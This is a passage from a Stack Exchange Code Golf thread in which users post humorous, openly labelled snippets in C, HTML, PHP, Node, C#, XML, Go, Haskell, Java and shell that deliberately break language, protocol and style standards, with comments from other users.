  for(f=*(int*)&result.y;f;f+=minus1) //type punning/invalid union access,
    r*=f;                            //and unsigned overflow
  printf("%d\n",(&r+2)[-2]); //negative array indexes
}

Negative indices are perfectly legal if the pointer doesn't point to the start of the array. Heck, it's legal to index a number with an array instead of the other way around.

XHTML

The W3C specification (http://www.w3.org/TR/html-markup/p.html#p):

p – paragraph
The p element represents a paragraph.
Permitted contents
Phrasing content

Oh I feel dirty!
Edit: @xfix pointed out that the error I was displaying was actually XHTML. The HTML error this causes is cooler and less obvious such that:

 becomes

 because the
 causes the
 to self close. Thus resulting in an error because we are attempting to close a paragraph that doesn't exist.

This is not an issue here. The real issue is that
 tag exists without closing it, as
 automatically closes
.

@xfix Do you have a reference to the specification where this behaviour is defined? The W3 validator will choke on this with the error I would expect, I think you are describing a browser implementation and not HTML itself.

You may be thinking of XHTML. In HTML4 and HTML5,
 is closed by certain tags. For HTML4 validator, I get "end tag for element "P" which is not open".

@xfix Right you are! I will edit this later. Cheers

Is it that you've never seen typical Java dev HTML or do you just not want to have to list that many broken standards?

How many standards did I just break?
I did some awful programming indeed here.
PHP
a: goto lol; begin();
b:
c: echo j; goto h;
d: echo u;
e: echo s;
f: echo t;
g:
h: echo k; goto o;
i: echo i; goto c;
j: echo l;
k: echo l;
l: echo e;
m: echo d;
n:
o: echo s;
p: echo t; goto u;
q: echo a; goto z;
r: echo n;
s: echo d;
t: echo a;
u: echo r; goto q;
v: echo D; goto i;
w: echo s;
x:
y:
z: die("!");
lol: goto v;

Easter Egg: The echoed letters, if read vertically, will read just killed standarDs!.
Sidenote: Running this program will output the name of a guy who really loved gotos.

If you immediately tell it, it's not an "easter egg"...

HTTP/1.1: Response - Status Code and Reason Phrase

The Status-Code element is a 3-digit...

Need I go any further? This status code isn't one of the codes defined in the standard. It doesn't even begin with one of the required category digits. It's not even 3 digits long.
My browser still manages to load the page fine.
In addition, this answer breaks one of this site's "standards" :)
Output (status line):
HTTP/1.1 0 :)

var http = require("http");
var server = http.createServer(onHttpRequest);
server.listen(80);

function onHttpRequest(request, response)
{
    response.writeHead(0, ":)", { "Content-Type": "text/plain" });
    response.write("Hello, World!");
    response.end();
}

JavaScript (Node)

Out of curiosity, did you try a four-digit status code? Five-digit?

@MatrixFrog I did try a 4-digit code. The browser was fine with it. I went with a 0 because it breaks more of the standard.

C# - breaking Unicode
Simple algorithm to reverse a string:
public string Reverse(string s)
{
    StringBuilder builder = new StringBuilder();
    for (int i = s.Length - 1; i >= 0; i--)
    {
        builder.Append(s[i]);
    }
    return builder.ToString();
}

This breaks the Unicode standard, because it does not correctly keep surrogate pairs together, creating an invalid string. In .NET and many other platforms/programming languages, a char is not really a character, but a UTF-16 code unit.
NB: It also changes which letter is combined with subsequent combining marks (e.g. diacritics), which may or may not be intended.

JavaScript
Run it in the console on this page.
var items = [], p = 1, finish = false, intr = setInterval(function() {
    if (p >= 10) finish = true
    $.get(unescape(escape('http://api.stackexchange.com/2.2/answers?page=' + (p++) + '&pagesize=100&order=desc&sort=votes&site=codegolf&filter=!*LVwAFZ.YnaK-KS*')), function(x) {
        items = items.concat(x.items)
        if (finish) {
            clearInterval(intr)
            onFinish()
        }
    })
}, 500)

function onFinish() {
    var item = items[Math.floor(Math.random() * items.length)]
    document.write(item.body)
}

Inspired by

The majority of answers on this site violate at least one coding standard... –  Comintern 1 hour ago

What it does is output a random answer out of the top 1000 voted from codegolf.SE (i.e., solving the problem in a very meta fashion!), complete with formatting and all, on your page!

Unfortunately, this technically doesn't satisfy the rules, since the output is the code with the broken standards, so I did break a standard in this code - I used document.write (ewwww). I also have to provide a link, so here: Why is document.write considered a "bad practice"?
If that doesn't count as "breaking the standards," just in case, I wrapped my string in unescape(escape()), which is deprecated, as per MDN.
Note that I'm really just doing all this to get around the rules, and the main point of this answer is its output.

Sample run (click image to enlarge):

You should also remove the var statements to make it go against the standards more.

XML
Not my "invention", I actually have to work with XML's like this that we get from a very secret place:
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ELEMENT data (field2)>
  <!ELEMENT field2 (#PCDATA)>
]>
<data>
  <field1>Rock & Roll</field1>
</data>
<data>
  <field1>Something else</field1>
</data>

Doesn't validate against its own embedded DTD, contains multiple roots and unescaped ampersands. (There are also other higher level errors, ambiguous content model, etc., not demonstrated here.) Very sad.

What's the very secret place? Sounds like some great programming goes on there! ;)

Is it top secret FBI code?

hungarian stuff probably :)

Setting the netmask to non-contigous bitmasks was allowed but highly discouraged by RFC 950, but is now forbidden as of RFC 1219. Nevertheless, BSD-likes allow you to do this.
IPv4 netmasks are a combination of four bytes, just like an IP address. It is used to calculate, if two hosts with known IP addresses and netmasks are on the same network. In general an IP address consists of two parts: The network and the host part. Say your network at home is 192.168.1.1 - 192.168.1.254. The host part are the first three bytes of the IP, namely 192.168.1.x. This means the netmask is 255.255.255.0, meaning the first 24 bits are the network part. In binary the mask looks like 11111111.11111111.11111111.00000000. The 1-bits are continous. In my example, the netmask would be 00010111.00000000.00000000.00101010. So what would happen, if the netmask is non-continous? Instead of being at the right end, the host part is scattered over the whole IP address, making it really hard to read, just like my explanation here.
DO NOT expect anything to work after this!
root@Gotthold /v/root# ifconfig en0 inet 47.11.23.42 netmask 23.0.0.42
root@Gotthold /v/root# ifconfig en0 inet
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 8192
    options=b<RXCSUM,TXCSUM,VLAN_HWTAGGING>
    inet 47.11.23.42 netmask 0x1700002a broadcast 239.255.255.255

Nice, but what is a non-contiguous bitmask? Google does not return anything that's meaningful to me. (Sorry!)

Added some explantions, maybe this helps, I'm not good in explaining networking things.

I've actually encountered (and had to fix a program to disallow) non-continuous netmasks on Windows, due to a user making a typo (225 instead of 252).

C
How many errors can you find, which probably would cause most companies to reject your code (especially good ones). Most of these are probably style mistakes (that I hope nobody does), but some of these are undefined behavior.
    #define BEGIN {
    #define END }
    #define print printf
    void main(int argv, char* argc, char **args) BEGIN
print("hELLO,"); printf("WORLD");
    END

 1. It defines macros that make C feel like another language (most codestyle guidelines).
 2. The main function returns void, when it should return int (implementation-defined behavior).
 3. main uses a form with three arguments, when it's not standard (undefined behavior).
 4. Those arguments have incorrect names (most codestyle guidelines).
 5. argc (should be argv) has incorrect type. It should be char **, but it's char * (undefined behavior).
 6. Mixing C and C++ declaration styles, which differ in * position (most codelines guidelines want consistent code).
 7. Strange coding style where the deeper code is deintended (most codestyle guidelines).
 8. Using a function (printf) without importing correct header (undefined behavior, as it's a variadic function).
 9. Using Caps Lock to write messages (most language guidelines).
 10. No space after comma (most language guidelines).
 11. Multiple statements on one line (most codestyle guidelines).
 12. No new line printed at end, causing the prompt to be drawn on the end of program (implementation-defined behavior).
 14. The return value is not defined (implementation-defined behavior).

Go
package main

func main() {
    println(whereas "Standards are important")
    println("But sometimes it's fun to break them" despiteallobjections)
}

http://play.golang.org/p/DrDHF9EMgu
Explanation is here. The "whereas" and "despiteallobjections" rules don't appear in the spec, but the lexer just skips over them, as kind of an easter egg. I guess the linter is more standards-compliant because if you click "Format" on that Go Playground link, you get a parse error.

JavaScript
standards:
while(1)
   break standards

Explanation:
A while loop labeled "standards" is exited.
Standards broken:
standards: <-- that one
while(1)
   break standards

JavaScript
var a = 1;
var b = a + 2;

It breaks a standard because it doesn't use enough jQuery
The proper way to write this code can be seen here

GML breaks a ton of standards. One being the beauty of not allowing for use of Ternary operators. Instead of using Ternary Operators, in GML I'd do this:
z = ( y * ( z > 0 ) ) + ( x * ( z <= 0 ) );

Where the Ternary equivalent is:
z = ( z > 0 ) ? y : x;

The first is pretty nasty especially when you start adding in other operations.

Haskell
My program doesn't really break any standards, but just randomly selects one to use. It tries to be fair across the different standards. Here is my code.
import System.Random
import Control.Applicative
newlines=["\n", "\r\n", "\r"]
pick::[a]->IO a
pick lst=fmap (lst !!) $ randomRIO (0, length lst - 1)

fairUnlines::[String]->IO String
fairUnlines []         = pure ""
fairUnlines [str]      = pure str
fairUnlines (str:strs) = (\x y z->x++y++z) <$>
    pure str <*> pick newlines <*> fairUnlines strs

fairUnlines will take a list of Strings, and join them using random newline character standards. Also, it is the first time I have actually used the applicative style, on IO none the less.

Bash
Taking from your example:
ping 192.168.0.1 -c 1 -s 10000

Assuming your router is at 192.168.0.1
Note: the max ping size is 65kb, so i did 10 kb in stead of 10 mb

Great answer! Is there a Windows version of this (Apart from Cygwin)?

@GeorgeH - not that i know of

Ok - Ill have to fire up Virtualbox again (Its been a long time!)

Java
Oh dear, someone forgot the getter again...
import java.lang.reflect.*;

class Main {
    public static void main(String[] args) throws Exception {

        // Brian forgot to implement the getter again.
        // He's on vacation, so this will have to do.

        // TODO: figure out what he named the fields
        Field field = UsefulObject.class.getDeclaredFields()[1];
        Field objField = UsefulObject.class.getDeclaredFields()[0];

        field.setAccessible(true);
        objField.setAccessible(true);

        Object obj = objField.get(null);
        String s = (String) field.get(obj);

        System.out.println(s);
    }
}
class UsefulObject {

    private static UsefulObject Useful;
    private String usefulField;

    static {
        Useful = new UsefulObject("useful field");
    }
    private UsefulObject(String s) {
        this.usefulField = s;
    }

    public String getUsefulField() { return usefulField; }

    public static UsefulObject getUsefulObject() {
        throw new UnsupportedOperationException("TODO");
    }
}

The Useful field should be lowercase: useful
Not sure this is a standard: useless wildcard import (should just be java.lang.reflect.Field since that's all that's being used).

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

sort: votes